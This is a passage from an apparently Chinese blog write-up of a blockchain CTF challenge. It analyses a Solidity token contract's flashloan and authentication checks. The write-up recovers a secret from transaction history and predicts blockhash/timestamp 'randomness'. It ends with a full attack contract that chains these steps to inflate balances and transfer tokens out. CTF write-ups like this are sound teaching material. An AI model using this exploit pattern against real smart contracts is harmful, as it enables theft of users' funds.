,可以直接给你增加300的_ebalances
!
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
不过直接编写攻击合约来调用这个函数肯定是不行滴,因为require(msg.sender == address(this), "hacker get out")
这一句的限制了,咋办嘞?
再找找看叭~~于是我们找到了一个调用flashloan
的函数testborrowtwice
,这不就正好可以满足上面的条件了吗~
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
不过flashloan
内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth")
,就是说需要验证的意思,我们找找这两个验证函数auth1
和auth2
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
对于auth1
,secret
不是直接在constructor
中有定义了嘛~直接看合约
NICE!一下子就找到了根本难不倒我们~
但是当你开开心心的把123456输进去的时候,结果发现居然没通过???
咋回事嘞
再找找看咯
于是你再源码中发现了这个set_secret
!没想到owner
还可以改secret!!
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.
嘿嘿
这不就有了嘛~
看看这笔交易的信息
嘿嘿
secret
就是0x154be90,转一下十进制就是22331024,还挺有寓意的嘛~
接下来就是搞auth2
的时候了
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这个的时候,我瞬间乐开了花,这我可太熟悉不过了~
看看这篇文章Source of Randomness简直简直就是一个模子里刻出来的哇,
uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这玩意儿看着随机,其实是确定的!
接下来写个攻击合约就可以赚到大把大把的_balances
咯
直接上代码!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract Attack {
MyToken public mytoken;
constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function attack() public{
mytoken.deposit();//满足ethbalances[msg.sender] >= 1
mytoken.borrow(1);
mytoken.borrow(1);//得到两个_balances
mytoken.auth1(22331024);//第一个验证
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
mytoken.auth2(answer);//第二个验证
SignCoupon memory scoupon;
scoupon.coupon.loankey=2233;
scoupon.coupon.amount=300;
scoupon.coupon.buser=address(this);
mytoken.testborrowtwice(scoupon);//获得_ebalances 300个
mytoken.buy(302);//用_ebalances去换_balances 302个
mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302个
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
结语
至此,这第四题区块链的解答就到此结束了
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 5天前
- 阅读 ( 199 )
- 学分 ( 10 )
- 分类:智能合约